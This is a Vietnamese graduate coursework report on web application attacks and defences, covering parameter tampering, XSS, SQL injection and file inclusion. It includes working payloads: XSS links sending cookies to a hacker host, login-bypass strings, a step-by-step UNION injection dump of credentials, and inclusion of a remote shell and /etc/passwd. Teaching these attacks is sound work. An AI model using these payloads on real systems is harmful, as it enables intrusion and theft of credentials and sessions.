1. Trang chủ
  2. » Luận Văn - Báo Cáo

bài tập môn học an ninh hệ thống mạng máy tính đề tài WEB APPLICATION SECURITY

44 540 1

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

THÔNG TIN TÀI LIỆU

Thông tin cơ bản

Định dạng
Số trang 44
Dung lượng 697,08 KB

Các công cụ chuyển đổi và chỉnh sửa cho tài liệu này

Nội dung

bài tập môn học an ninh hệ thống mạng máy tính đề tài WEB APPLICATION SECURITY

Trang 1

-   -

BÀI TẬP MÔN HỌC

AN NINH HỆ THỐNG MẠNG MÁY TÍNH

Đề tài: WEB APPLICATION SECURITY

Giảng viên: TS Trần Hồng Quang

Học viên : Nguyễn Thị Hương

Nguyễn Duy Hoàng

Trần Danh Minh Hoàng

Nguyễn Việt Hùng

Lớp: CH CNTT K25B

HÀ NỘI - 10/2014

Trang 2

MỤC LỤC

LỜI MỞ ĐẦU 3

CHƯƠNG 1: TỔNG QUAN VỀ ỨNG DỤNG WEB 4

I Khái niệm ứng dụng Web 4

II Một số lỗi bảo mật ứng dụng web thông dụng 6

CHƯƠNG 2 CÁC PHƯƠNG PHÁP TẤN CÔNG ỨNG DỤNG WEB 7

I Information & Discovery 7

1 Spidering/Site Crawling 7

2 Dentifiable Characteristics 7

3 Errors and Response Codes 7

4 File/Application Enumeration 8

5 Network Reconnaissance 8

II Một số cách tấn công ứng dụng web 9

1 Thao tác trên tham số truyền 9

2 Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross-Site Scripting) 12

3 Chèn câu truy vấn SQL 15

4 File include 20

5 Upload file 25

6 Yêu cầu giả mạo (Cross-Site Request Fogery) 28

7 Chiếm hữu phiên làm việc 32

8 Tổng kết quá trình tấn công của Hacker 36

9 Tổng kết các biện pháp phòng thủ 39

III Authentication/Authorization 42

IV System Mis-Configurations 42

KẾT LUẬN… 43

TÀI LIỆU THAM KHẢO 44

Trang 3

LỜI MỞ ĐẦU

Trong thời đại ngày nay, Internet đã trở nên rất quen thuộc và là một công cụ hữu ích để một đất nước giới thiệu hình ảnh hay đơn giản chỉ là một trang web cá nhân của một ai đó giới thiệu về mình Tất cả đã kéo theo sự phát triển không ngừng của các ứng dụng web Và dần dần, khái niệm ứng dụng web đã trở nên phổ biến Khi mà trên internet, ứng dụng web đã trở lên phổ biến và được ứng dụng một cách rộng rãi thì các cuộc tấn công ứng dụng web cũng phát triển hết sức phức tạp Điều này đã đặt ra vấn

đề cấp thiết cần làm như thế nào để bảo đảm an toàn thông tin cho ứng dụng web, thông tin của người sử dụng Các khái niệm chuyên môn về ứng dụng web và tấn công ứng dụng web cũng dần trở lên phổ biến hơn trong các tài liệu chuyên ngành Các công cụ hỗ trợ người lập trình web, người quản trị mạng cũng xuất hiện giúp tìm kiếm

lỗ hổng của ứng dụng web, nhưng nó không theo kịp sự phát triển nhanh đến mức chóng mặt theo xu hướng nhanh hơn, đẹp hơn của các ứng dụng web, và tất nhiên nó không thể ngăn chặn hoàn toàn các cuộc tấn công ứng dụng web, khi mà các cuộc tấn công ngày càng đa dạng khai thác triệt để những lỗi của ứng dụng web, của người quản trị, hay người lập trình ứng dụng web

Thống kê cho thấy 75% cuộc tấn công internet là tấn công ứng dụng web, nó gây ra những thiệt hại vô cùng to lớn, vì vậy việc tìm hiểu về tấn công ứng dụng web

là rất cần thiết nhằm có cách phòng chống tấn công và bảo mật ứng dụng web hiệu quả trở thành một yêu cầu cấp thiết…

Do đây là một xu hướng tất yếu của thời đại, nên việc tìm hiểu và nghiên cứu ứng dụng web sẽ giúp ích rất nhiều cho các nhà lập trình web mới, hay các quản trị viên mới còn ít kinh nghiệm trong việc quản trị hệ thống mạng của mình, phòng tránh, hay khắc phục những lỗi của ứng dụng web Bài tập lớn được thực hiện nhằm mục đích giới thiệu rõ hơn về ứng dụng web nhằm tránh những nhầm lẫn và đồng thời tìm hiểu những tấn công ứng dụng web phổ dụng nhằm cách phòng chống, bảo mật web một cách hợp lý

Trang 4

CHƯƠNG 1: TỔNG QUAN VỀ ỨNG DỤNG WEB

I Khái niệm ứng dụng Web

Ứng dụng web là một ứng dụng chủ/ khách sử dụng giao thức HTTP để tương tác với người dùng hay hệ thống khác

Dưới góc độ chức năng, ứng dụng Web là các chương trình máy tính cho phép người dùng website đăng nhập, truy vấn vào ra dữ liệu qua mạng Internet trên trình duyệt Web yêu thích của họ Dữ liệu sẽ được gửi tới người dùng trong trình duyệt theo kiểu thông tin động (trong một định dạng cụ thể, như với HTML thì dùng CSS) từ ứng dụng Web qua một Web Server

Trình khách dành cho người sử dụng thường là một trình duyệt Web như Internet Explorer hay Netscape Navigator Cũng có thể một chương trình đóng vai trò đại lý người dung hoạt động như một trình duyệt tự động Người dùng gửi và nhận các thông tin từ trình chủ thông qua việc tác động mua bán, các diễn đàn, gửi nhận email

Tốc độ phát triển các kỹ thuật xây dựng ứng dựng web cũng phát triển rất nhanh Ngày nay ứng dụng web thường được viết bằng Java hay các ngôn ngữ tương

tự và chạy trên máy chủ phân tán, kết nối đến nhiều nguồn dữ liệu

Một ứng dụng web thường có cấu trúc như sau:

Hoạt động của ứng dụng Web: Đầu tiên trình duyệt sẽ gửi một yêu cầu (request) đến máy chủ Web thông qua các phương thức cơ bản GET, POST…của giao thức HTTP, trình chủ lúc này có thể cho thực thi một chương trình được xây dựng từ nhiều ngôn ngữ như C/C++, PHP, ASP,… hoặc trình chủ yêu cầu bộ diễn dịch thực thi các trang JSP, JAVAR…theo yêu cầu của trình khách

Tuỳ theo các tác vụ của chương trình được cài đặt mà nó xử lý, tính toán, kết nối đến cơ sở dữ liệu, lưu các thong tin do trình khách gửi đến…và từ đó trả về cho trình khách một luồng dữ liệu có định dạng theo giao thức HTTP or HTTPS, nó gồm 2 phần:

Trang 5

 Header mô tả các thông tin về gói dữ liệu và các thuộc tính, trạng thái trao đổi giữa trình duyệt và webserver

 Body là phần nội dung dữ liệu mà server gửi về client, nó có thể là một file HTML, một hình ảnh, một đoạn phim hay một văn bản bất kỳ

Sơ đồ rủi ro ở một số lớp:

Mô hình bức tường lửa

Trang 6

SSL makes me secure:

II Một số lỗi bảo mật ứng dụng web thông dụng

 Trusting Client – side data

 Unescaped Special Characters

 HTML Character Filtering

 Authentication mechanisms using technologies such as JavaScript or ActiveX

 Lack of re-authenticating the user before issuing new passwords or performing critical tasks

 Hosting of uncontrolled data on a protected domain

Các lỗi bảo mật ở trên có thể xuất hiện trong tất cả các ứng dụng web, bất kể nó được phát triển bởi các chuyên gia độc lập hay các công ty phần mềm nổi tiếng nhất

Trang 7

CHƯƠNG 2 CÁC PHƯƠNG PHÁP TẤN CÔNG ỨNG DỤNG WEB

I Information & Discovery

Trước khi tấn công một mục tiêu nào đó mà chúng ta tìm hiểu được chi tiết về mục tiếu đó thì khả năng tấn công thành công sẽ cao Do vậy các tin tặc muốn tấn công một hệ thống họ sẽ tìm các thông tin chi tiết về hệ thống đó dựa vào các công cụ tìm kiếm, các lỗi phát sinh từ các ứng dụng … Đưới đây là một số cách thức tìm hiểu thông tin để tấn công

1 Spidering/Site Crawling

Spider web là những công cụ mạnh nhất và hữu ích nhất cho những thứ tốt và xấu trên internet Một Spider có chức năng chính là khai thác dữ liệu Cách một spider hoạt động điển hình là thu thập thông tin của một trang web tại một thời điểm Nó sẽ thu thập các địa chỉ liên quan như là địa chỉ email, các thẻ meta, dữ liệu ẩn, thông tin URL, và các liên kết khác

Google.com là một spider điển hình Người ta sử dụng spider để hack và được gọi là “google hack”

Chúng ta có thể sử dụng công cụ wget để lấy các thông tin được công bố trong các ứng dụng

Ví dụ:

Để thu thập các tiêu đề HTTP của các web ta dùng lệnh sau

wget-S –spider <mục tiêu>

Để thu thập nội dung trang web ta dùng lệnh sau

wget-r-D <miền> <mục tiêu>

2 Dentifiable Characteristics

Đặc điểm nhận dạng là những tính năng mô tả một trang web hay nói một cách khác họ sẽ nói cho bạn biết các thông tin về trang web

3 Errors and Response Codes

Để tìm hiểu mục tiêu tấn công thì vấn đề các lỗi của web application cũng mang lại rất nhiều thông tin Kẻ tấn công có thể dựa vào các HTTP Response Trong mỗi HTTP Response đều chứa một trạng thái mã (status code) Các trạng thái mã cho biết kết quả truy vấn mà máy chủ web trả về

Ví dụ Thông tin HTTP Response

HTTP/1.1 200 OK

Date: Tue, 17 Dec 2013 03:30:53 GMT

Trang 8

Server: IBM_HTTP_SERVER/1.3.26.2 Apache/1.3.26 (Unix)

- Thao tác trên tham số truyền

- Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross-Site-Scripting)

- Chèn câu truy vấn SQL

- File Include

- Upload File

- Yêu cầu giả mạo (Cross-Site-Request Fogery - CSRF)

- Chiếm hữu phiên làm việc

Trang 9

- Tổng kết quá trình tấn công của hacker

- Tổng kết các biện pháp phòng chống

II Một số cách tấn công ứng dụng web

1 Thao tác trên tham số truyền

1.1 Thao tác trên URL

a Phát hiện lỗ hổng

Khi nhập tham số vào 1 form HTML thì kết quả sẽ được truyền đến server theo hai cách: GET và POST Nếu dùng GET thì tất cả tên biến và giá trị sẽ được truyền đi

và xuất hiện trên URL

Ví dụ: Một URL thực hiện việc thay đổi mật khẩu được truyền đến server bằng phương thức GET:

Để khắc phục sự nguy hiểm của việc truyền tham số qua phương thức GET này

ta có thể làm theo một số cách sau đây:

Sử dụng phương thức POST thay vì GET

Sử dụng cơ chế hàm băm (hash table) Khi người dùng chứng thực thành công với username và password hợp lệ, hệ thống sẽ sinh ra một khóa tương ứng, khóa này

sẽ được lưu trên server và dùng để chứng thực các hành động của user này Nếu khóa này không hợp lệ chứng tỏ hành động của user đã bị mạo danh

Đối với những thông tin có giá trị, cần mã hóa thông tin này trước khi cho hiển thị trên trình duyệt để tránh hacker có thể thay đổi tùy ý

Trang 10

1.2 Thao tác trên biến ẩn form

a Phát hiện

Trong HTML có thể truyền thông tin qua một biến ẩn form đó là hiden field Biến ẩn form không hiển thị trên màn hình trình duyệt nhưng có thể xem nội dung này thông qua việc view source, vì thế đây có thể là một điểm yếu để hacker lợi dụng nếu hiden field này chứa các thông tin có giá trị nếu nó chứa các thông tin có giá trị ví dụ như giá của mặt hàng

Ví dụ 1 form có nội dung như sau:

<form action=”http://www.test.com/checkout.php” menthod=”POST” >

<input type=”hiden” name=”cost” value=”100”>

<form action=”http://www.test.com/checkout.php” menthod=”POST” >

<input type=”hiden” name=”cost” value=”1”>

nên quá tin tưởng vào tham số này

Trên trình chủ nên sử dụng các thông tin được tham chiếu từ cơ sở dữ liệu để tính toán

Trang 11

1.3 Thao tác trên Cookie

a Phát hiện

Vì cookie là thành phần lưu trữ thông tin bảo mật nhất nên cookie thường được

sử dụng để lưu trữ các trạng thái cho giao thức HTTP hơn là sử dụng biến ấn form hay tham số URL Nó còn được sử dụng để lưu trữ những thông tin của người dùng khi thao tác ứng dụng và các dữ liệu quan trọng khác như session ID,… Nhưng cookie cũng có thể bị thay đổi rất dễ dàng nhờ các tool bởi người dùng và hacker có thể lợi dụng việc này để phá hoại ứng dụng SSL chỉ có tác dụng bảo vệ cookie trong quá trình truyền chứ không đảm bảo được việc cookie có bị thay đổi hay không trước khi truyền

Ví dụ: Một cookie của ứng dụng chứa các tham số như sau:

Cookie: lang=en-us; ADMIN=no; y=1 ; time=10:30GMT ;

Cookie này xác định người dùng không phải là admin với tham số ADMIN=no, Nhưng nếu hacker thay đổi trường này thành yes thì điều gì sẽ xảy ra? Ví dụ hacker thay đổi cookie này như sau:

Cookie: lang=en-us; ADMIN=yes; y=1 ; time=10:30GMT ;

Hacker đã mang vai trò là admin của ứng dụng

b Một số biện pháp khắc phục

- Sử dụng đối tượng session lưu trữ thông tin quan trọng trên trình chủ Khi ứng dụng cần kiểm tra thông tin một người dùng, ứng dụng sẽ dùng session ID của người dùng đó để tham chiếu đến thông tin được lưu trong cơ sở dữ liệu

- Xây dựng 1 cơ chế kiểm tra nội dung của cookie để xác định xem cookie đó

có hợp lệ hay không Ví dụ như nếu biến ADMIN=yes nhưng ID của ID của người dùng đó không đúng với ID trong CSDL thì cookie đó là giả mạo

- Phương pháp cuối cùng là mã hóa cookie

1.4 Thao tác trong HTTP Header

Các tham số như URL, cookie hay biến ẩn form người dùng có thể xem và thay đổi, nhưng những tham số đó đều được truyền đến trình chủ thông qua HTTP Header Tuy HTTP Header không phải là tham số truyền của ứng dụng nhưng mọi thông tin truyền đến trình chủ đều được lưu giữ trên nó, nên ta sẽ cùng tìm hiểu cách thức để

thay đổi nội dung một HTTP Header

a Phát hiện

Thông thường, chỉ có trình duyệt và trình chủ là trao đổi thông tin qua HTTP Header, còn hầu hết các ứng dụng web thì không Tuy nhiên hacker có thể tự viết một chương trình hoặc sử dụng những tool có sẵn để xem và thay đổi nội dung hay sử dụng các

Trang 12

proxy miễn phí cho phép thay đổi được dữ liệu được gửi từ trình duyệt Ngoài ra, hacker còn có thể tấn công trực tiếp đến trình chủ bằng cách telnet gửi HTTP Header Request

(Những phần in đậm là nội dung hacker thay đổi)

Ví dụ: Một ứng dụng kiểm tra tham số Referer trong HTTP header để đảm bảo rằng request này được gửi từ 1 trang web của ứng dụng đó (Vì Referer chứa URL của trang web gửi request) Việc này ngăn chặn hacker lưu source code về máy, chính sửa tùy ý rồi gửi đi Nhưng phương pháp kiểm tra này sẽ thất bại nếu hacker sửa tham số Referer này giống như được gửi từ trang hợp lệ

b Một số biện pháp khắc phục

Đơn giản là không nên tin tưởng vào HTTP Header nếu như không có các biện pháp an toàn Với các header được gửi từ trình chủ thì nên mã hóa, còn các header được gửi từ trình khách thì không nên tin tưởng các tham số như Referer, … để thực hiện các biên pháp an toàn

2 Chèn mã lệnh thực thi trên trình duyệt nạn nhân (Cross-Site Scripting)

2.1 Kỹ thuật tấn công Cross-Site Scripting (XSS)

Phương pháp tấn công Cross-Site Scripting (XSS) là phương pháp tấn công bằng cách chèn thêm những đoạn mã có khả năng đánh cắp hay thiết lập những thông tin quan trọng như cookie,… vào mã nguồn của ứng dụng web để từ đó chúng được chạy như 1 phần của ứng dụng web và có chức năng cung cấp hoặc thực hiện 1 số điều hacker mong muốn

Phương pháp này không nhằm vào máy chủ hệ thống mà chủ yếu tấn công vào máy của người sử dụng Hacker sẽ lợi dụng sự lỏng lẻo của hệ thống, hiểu biết hạn chế của người dùng cũng như đánh vào sự tò mò của họ dẫn đến chiếm đoạt được các thông tin quan trọng 1 cách dễ dàng

Thông thường hacker sử dụng liên kết URL đã gắn thêm những đoạn mã được

Trang 13

viết bằng ngôn ngữ trình duyệt như JavarScript hay VBScript,… nhằm thực thi trên máy của nạn nhân

<a href=”javarscript: [code]”>

<div onmouseover=”[code]”>

<img src=” javarscript: [code]”>

<img dynsrc=” javarscript: [code]”>

<input type=”image” dynsrc=”javarscript: [code] >

……

Các phần in đậm là nơi mà hacker có thể đặt các đoạn mã nhằm đánh cắp thông tin

2.2 Phương pháp tấn công XSS truyền thống

Ứng dụng thường lưu trữ các thông tin quan trọng ở cookie, cookie là mẩu thông tin mà ứng dụng lưu trên ổ đĩa cứng của máy người dùng nhưng chỉ những ứng dụng thiết lập cookie thì mới có thể đọc nó Chính vì thể chỉ những người dùng đang trong phiên làm việc của ứng dụng thì hacker mới có cơ hội sử dụng kỹ thuật XSS để đánh cắp cookie Công việc đầu tiên của hacker khi đã tìm ra một ứng dụng bị lỗ hổng XSS là dụ người dùng đăng nhập vào ứng dụng web đó

Các bước thực hiện kỹ thuật tấn công XSS truyền thống:

Bước 1: Hacker tìm ra lỗ hổng XSS trên một ứng dụng web

Bước 2: Người dùng đang trong phiên làm việc trên ứng dụng nhận được một

liên kết thông qua email hay trên chính ứng dụng đó Thông thường hacker dụ người dùng chú ý đến những liên kết đó bằng những câu kích thích sự tò mò như: Kiểm tra tài khoản hay một phần thưởng đang chờ bạn,…

Bước 3: Khi người dùng click vào những liên kết đó thì đoạn mã mà hacker

viết ra có tác dụng chuyển thông tin cookie đánh cắp được về một chương trình CGI hoặc trang web của hacker và lưu trữ vào một tập

Bước 4: Sau khi nhận được cookie đánh cắp, hacker dùng nó để thâm nhập vào

Trang 14

phiên làm việc của nạn nhân

Ví dụ: Trang web http://www.test.comcó lỗ hổng XSS, hacker sẽ thực hiện kỹ thuật tấn công XSS như sau:

Khi hacker phát hiện ra website http://www.test.com có lỗ hổng XSS, hacker gửi đến cho những người dùng của ứng dụng này một liên kết có thể dạng như sau:

<ahref= ‘http://www.test.com/index.php?page=<script>document.location.replace(‘http :www.hacker.com/steal.cgi?’+document.cookie) ;</script>’> Một phần

thưởng hấp dẫn đang chờ bạn </a>

Vậy nếu người dùng click vào liên kết do hacker gửi đến sẽ trở thành nạn nhân của hacker, cookie của họ sẽ bị đánh cắp và là tham số truyền vào cho chương trình steal.cgi của hacker

Nhưng những liên kết như vậy nếu một người dùng cảnh giác và có thể có một chút kiến thức về lập trình web hay hiểu biết một chút về XSS thì sẽ rất khó bị mắc lừa Nhưng hacker có thể sử dụng liên kết có dạng như sau:

http://example.com/search.cgi?%71%75%65%61%72%79%3D%3C%73%63%72%69%70%74%3E%61%6C%65%61%72%74%28%64%63%75%6D%65%6E%6C%74

%2E%63%6F%6F%6B%69%65%29%3C%2F%73%63%72%69%70%74%3E]http://test.com/index.php?%71%75%65%61 %72%69%70%74%3E

Đó chính là cách là hacker qua mặt người dùng, bởi vì liên kết đã được thay thế

bằng mã Hex, tất nhiên trình duyệt vẫn hiểu liên kết thực sự là gì

2.3 Tấn công XSS bằng Flash

Ngoài những cách tấn công trên hacker còn có thể sử dụng những tập tin flash nhờ vào một ngôn ngữ kịch bản là ActionScript Macromedia Flash cho phép Actionscript được thực thi dưới những tập tin flash, Action script có cú pháp đơn giản

và tương tự như Javarscript, C hay Pearl Ví dụ hàm getURL dùng để gọi đến 1 trang web khác, tham số thường là 1 URL chẳng hạn như http://www.yahoo.com

getURL(‘http://www.yahoo.com’)

Tuy nhiên ta cũng có thể thay thế URL trên bằng một đoạn mã JavarScript như sau:

getURL(‘javascript :alert(document.cookie)’) hoặc:

getURL(‘javarscript :location(‘http://www.hacker.com ?cookie=’+document.cookie)’)

Các trang web cho phép thành viên gửi dữ liệu dưới dạng HTML hoặc tạo chữ kí riêng như các diễn đàn đều có thể trở thành nạn nhân của phương pháp tấn công này

Trang 15

2.4 Cách phòng chống

- Với những dữ liệu, thông tin do người dùng nhập vào, ta cần phải thực hiện 1

số biện pháp như sau:

+ Tạo danh sách những thẻ HTML được phép sử dụng

+ Xóa bỏ thẻ <script>

+ Lọc bất kì một đoạn mã JavarScipt/Java/VBScipt/… nào

+ Lọc dấu nháy đơn và nháy kép

+ Lọc ký tự NULL

+ Xóa những ký tự ‘>’, ‘<’

+ Vẫn cho phép nhập những ký tự đặc biệt nhưng sẽ mã hóa theo chuẩn riêng

- Đối với người dùng: cần cấu hình lại trình duyệt để nhắc nhở người dùng có

cho thực thi ngôn ngữ kịch bản trên máy của họ hay không? Tùy vào mức độ tin cậy

mà người dùng sẽ quyết định

- Một cách đơn giản hơn để chống lại hình thức tấn công này đó là mã hóa các

thẻ html trước khi in ra trình duyệt bằng cách dùng hàm htmlentities()

2.5 Nhận xét

Kỹ thuật XSS khá phổ biến và dễ áp dụng, tuy nhiên mức độ thiệt hại chỉ dừng lại ở mức độ tấn công trên máy của nạn nhân thông qua những liên kết hay form lừa đảo mà hacker gửi đến Vì thế, ngoài việc kiểm tra tính đúng đắn của dữ liệu trước khi

sử dụng thì việc cần thiết là nên cảnh giác trước khi truy cập vào 1 trang web mới Có thể nói rằng nhờ sự cảnh giác của người dùng thì 90% họ đã đạt được sự bảo mật trước hình thức tấn công này

3 Chèn câu truy vấn SQL

3.1 Khái niệm SQL Injection

SQL Injection là kỹ thuật tấn công bằng cách lợi dụng những lỗ hổng trong quá trình lập trình web trong bước truy xuất cơ sở dữ liệu Lợi dụng lỗ hổng này, hacker có thể thông qua việc nhập dữ liệu để tiến hành những lệnh điều khiển CSDL như select, delete, insert,… mà người quản trị ứng dụng không mong muốn Từ đó hacker có thể chiếm quyền điều khiển hệ thống

3.2 Các cách tấn công

a By Pass

Với dạng tấn công này, hacker có thể lợi dụng lỗ hổng SQL injection để vượt qua các trang đăng nhập một cách khá đơn giản

Trang 16

Ta sẽ xét một trang đăng nhập có nội dung code như sau:

<form id="login" name="login" method="post" action="dologin.php">

Userame : <input name="user" type="text" id="user" />

Password: <input name="pass" type="text" id="pass" />

<input type="submit" name="Submit" value="Submit" />

if($result){ $num = mysql_num_rows($result); if($num < 0){ echo

"Fail.";$check = false; }else{ echo "susscess.";$check = true; }}else{ echo "Fail.";

$check = false;}

?>

Thông thường thì đoạn code trang dologin.php này không hề có sự mất an toàn nào Và người dùng không thể đăng nhập nếu như không có username và password hợp lệ Nhưng thực sự thì đoạn mã này lại tiềm ẩn một lỗ hổng về SQL Injection rất lớn Điểm mấu chốt nằm ở chỗ dữ liệu nhập vào từ người dùng được trực tiếp dùng để xây dựng lên câu truy vấn CSDL Chính vì thế, hacker có cơ hội để điều khiển câu truy vấn này theo ý muốn Ví dụ như hacker có thể nhập dữ liệu vào cả user và password

như sau: ‘ OR ‘ ‘ = ‘ Lúc này câu truy vấn CSDL sẽ trở thành:

SELECT * FROM tbl_user WHERE username = ‘’ or ‘’ = ‘’ AND pass = ‘’ or ‘’ = ‘’

Câu truy vấn này luôn luôn trả về kết quả là tất cả các record trong bảng tbl_user Vậy cách kiểm tra login như trên đã bị vượt qua

Hoặc khi hacker biết được username của người quản trị là admin chẳng hạn,

hacker có thể nhập như sau: user: admin’ | pass: everything Câu truy vấn CSDL trở

thành: SELECT * FROM tbl_user WHERE username = ‘admin’ AND pass =

‘md5(md5(everything))’ Vậy hacker đã có thể đăng nhập với tài khoản ‘admin’ mà

không hề cần biết password là gì

Nhưng code php trên có thể người lập trình sẽ code chặt chẽ hơn một chút như sau:

Trang 17

AND pass = '$pass' LIMIT 1";

Vậy với cách by pass như trên sẽ gặp khó khăn nếu bảng tbl_dangnhap có hơn

1 user trong trường hợp ko biết trước username vì Khi ta đăng nhập với username là: ‘

or 1=1 thì câu truy vấn SQL sẽ trả về lớn hơn một kết quả được tìm thấy, mà người lập trình lại kiểm tra nếu có một kết quả thì quá trình đăng nhập mới thành công

Trong trường hợp này ta có thể bypass như sau:

b Kết hợp odder by, select và union

Dạng tấn công này phức tạp hơn, nhưng ta có thể lấy được thông tin về username và password hoặc bất cứ một thông tin nào khác trong CSDL Để tìm hiểu phương pháp tấn công này ta cùng thử một ví dụ sau

Ví dụ 1: trang hiển thị chi tiết sản phẩm, trang này sẽ nhận id sản phẩm trên url

rồi dùng id đó để truy xuất chi tiết sản phẩm từ CSDL

Code của trang này có thể được viết như sau:

<?php

include(“ / /conn.inc”);

if(isset($_GET[‘idpro’])){

$idpro = $_GET[‘idpro’];

Trang 18

Ta thử tiếp như sau:

given in C:\wamp\www\demo\sqli\getdata\detail.php on line 13

Như ở ví dụ này khi ta thay order by 19 thì xuất hiện thông báo lỗi

Vậy ta biết được trong câu truy vấn lấy thông tin sản phẩm đã lấy ra 18 cột trong CSDL

Ta tiếp tục dùng union để lấy thông tin từ database

http://localhost/demo/sqli/getdata/detail.php?idpro=39+AND+1=0+union+select+all+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18

Kết quả của url trên sẽ trả về kết quả từ 1 đến 18 tương ứng với các cột trong CSDL Ta thấy trên trình duyệt xuất hiện những số nào thì đó chính là những cột mà php in ra trình duyệt Mục đích là để ta sẽ lấy các thông tin và kết quả đạt vào vị trí

Trang 19

thích hợp trong union Ở ví dụ này có các cột là 2, 3, 5, 16, 17 được in ra trình duyệt

Ta tiếp tục như sau:

http://localhost/demo/sqli/getdata/detail.php?idpro=39+AND+1=0+union+selec

t+all+1,concat(@@version,0x3a,user(),0x3a,database()),3,4,5,6,7,8,9,10,11,12,13,14,

15,16,17,18

Kết quả có được là 5.5.8-log:root@localhost:shopping

Vậy version của mysql là 5.5.8-log và user kết nối đến mysql là root, tên database là shopping

Giờ ta đã có tên database, ta truy vấn vào bảng information_schema để lấy thông tin về tên các bảng và các cột trong database

http://localhost/demo/sqli/getdata/detail.php?idpro=39+AND+1=0+union+select+all+1,TABLE_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.tables+where+table_schema=’shopping’

Ta có thể thay shopping bằng mã char của nó là: CHAR(115, 104, 111, 112,

112, 105, 110, 103)

Ta sẽ có tên của bảng thứ nhất trong databse, ta tiếp tục thêm vào limit 1,1 – 2,1 đến khi không còn thông tin được in ra trình duyệt nữa, các thông tin ta đã có được chính là tên các bảng trong database Chọn lấy 1 bảng mà ta quan tâm, ví dụ ta chọn được 1 bảng là tbl_dangnhap, ta sẽ xem tên các cột trong bảng này bằng cách sau:

http://localhost/demo/sqli/getdata/detail.php?idpro=39+AND+1=0+union+select+all+1,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+information_schema.columns+where+table_name=’tbl_dangnhap’+limit+0,1

Tăng dần limit lên 1,1-2,1 … cho đến khi lấy được hết tên các cột trong bảng tbl_dangnhap Ta thu được 2 cột như sau: username và pass

Giờ sẽ là bước lấy thông tin của 2 cột username và pass trong bảng tbl_dangnhap:

http://localhost/demo/sqli/getdata/detail.php?idpro=39+AND+1=0+union+select+all+1,concat(username,0x3a,pass),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18+from+tbl_dangnhap+limit+0,1

Ta thu được thông tin từ dòng đầu tiên trong bảng tbl_dangnhap: ACEAnGeL:5dcc21446e7ba2062773a69b48e84bdd Tương ứng là username: ACEAnGeL

và pass: 5dcc21446e7ba2062773a69b48e84bdd là password đã được mã hóa

Tuơng tự như vậy ta có thể lấy thông tin từ bất kì bảng nào trong database

shopping mà ta quan tâm

Trang 20

Với URL trên ta đã có thể đọc được nội dung của file test.txt, nếu có thể lần ra

đường dẫn của các file quan trọng như config.php hay những file chứa thông tin nhạy cảm

 Việc tấn công SQL Injection bằng cách dựa vào những thông báo lỗi do đó việc phòng chống hay nhất vẫn là không hiển thị những thông báo lỗi đó bằng cách thay thế các trang báo lỗi bằng 1 trang do người phát triển tự thiết kế hoặc tắt việc hiển thị thông báo lỗi

 Kiểm tra kỹ giá trị nhập vào của người dùng, thay thế những ký tự như ‘ ; # …

 Loại bỏ các kỹ tự meta như “ ‘, “, / , \ , ; “ và các kỹ tự extend như NULL,

CR, LF,… trong các string nhận được từ: dữ liệu người dùng nhập vào, tham số URL, các giá trị cookie,

 Chuyển các giá trị số về kiểu integer trước khi thực hiện truy vấn CSDL hoặc dùng các hàm kiểm tra để chắc chắn nó là một số

 Dùng các thuật toán để mã hóa dữ liệu như dùng hàm addslashes() hoặc mysql_real_escape_string để đưa chuỗi truy vấn về dạng cú pháp đúng của sql

 Đối với cách tấn công dùng hàm load_file, ta cần bỏ chế độ FILE privilege của user và bỏ quyền đọc file đối với nhóm group và world

4 File include

4.1 Khái niệm file include

Trang 21

Khi người lập trình 1 website sử dụng các lệnh xử lý file như include, require, readfile,… với tham số truyền vào là biến động nhưng không được kiểm soát chặt chẽ

để hacker có thể thay đổi file cần gọi đến không như mong muốn của người lập trình

thì website đang đứng trước nguy cơ bị tấn công file inclusion (file include)

Dựa vào mức độ bảo mật của webserver, hacker có thể gọi đến file trên server hay được gọi là Local file inclusion (LFI) hoặc gọi đến 1 file trên server khác hay được gọi là Remote file inclusion (RFI)

Và điều kiện rất quan trọng là các hàm register_globals, allow_url_include, allow_url_fopen phải được set giá trị ON trên webserver

Khi register_globals được set là ON thì các biến được truyền từ url được xem như là biến toàn cục

Những hàm của ngôn ngữ lập trình PHP có khả năng gây lỗi này là: include(),

include_once(), require(), require_once(), fopen(), readfile(), …

http://localhost/demo/fileinclude/fileinclude.php?page=http://www.hacker.com/shell.txt

b Local Include

Nếu allow_url_open=Off thì không thể khai thác thông qua url từ xa, lúc này

khai thác sẽ dựa trên local file inclusion Khai thác local file cho phép chúng ta đọc các file nhạy cảm trên server, ví dụ như là /etc/passwd, /etc/group, httpd.conf, htaccess, htpasswd hoặc bất kỳ file cấu hình quan trọng nào nếu chúng không được bảo vệ

Trang 22

Ví dụ:

http://localhost/demo/fileinclude/fileinclude.php?page=/etc/passwd

Ví dụ như có được thông tin từ /etc/passwd, kẻ tấn công có thể biết được các username có trên server và thực hiện bruteforce, nếu kẻ tấn công có khả năng truy cập shadow thì nguy hiểm hơn nhưng /etc/shadow thì chỉ có root mới có khả năng truy cập

và đọc được file này

Ví dụ một số file nhạy cảm mà kẻ tấn công luôn muốn truy cập: httpd.conf:

Thực hiện đọc file này để có được thông tin về error_log, access_log, ServerName,

DocumentRoot, … htaccess và htpasswd: Giả sử có một thư mục admin được bảo

vệ bởi htaccess thì chúng ta không thể truy cập được các file htaccess và htpasswd trực tiếp, nhưng nếu bị lỗi local file inclusion thì có thể đọc và có được thông tin về username và password được thiết đặt ở trong những file này

- Khai thác cục bộ

Giả sử có nhiều website trên một server, nếu như site example1.com bị lỗi local file inclusion Kẻ tấn công ở vị trí là website với domain là example2.com cũng cùng một server với example1.com thì có thể khai thác site example1.com này thông qua như sau:

http://www.example1.com/fileinclude.php?page=http://www.example1.com/index.php?page=/home/example2/public_html/mages/file.txt

- Khai thác sử dụng Null Byte

Ngày đăng: 21/08/2015, 16:36

HÌNH ẢNH LIÊN QUAN

Sơ đồ rủi ro ở một số lớp: - bài tập môn học an ninh hệ thống mạng máy tính đề tài WEB APPLICATION SECURITY
Sơ đồ r ủi ro ở một số lớp: (Trang 5)

TỪ KHÓA LIÊN QUAN

TRÍCH ĐOẠN

TÀI LIỆU CÙNG NGƯỜI DÙNG

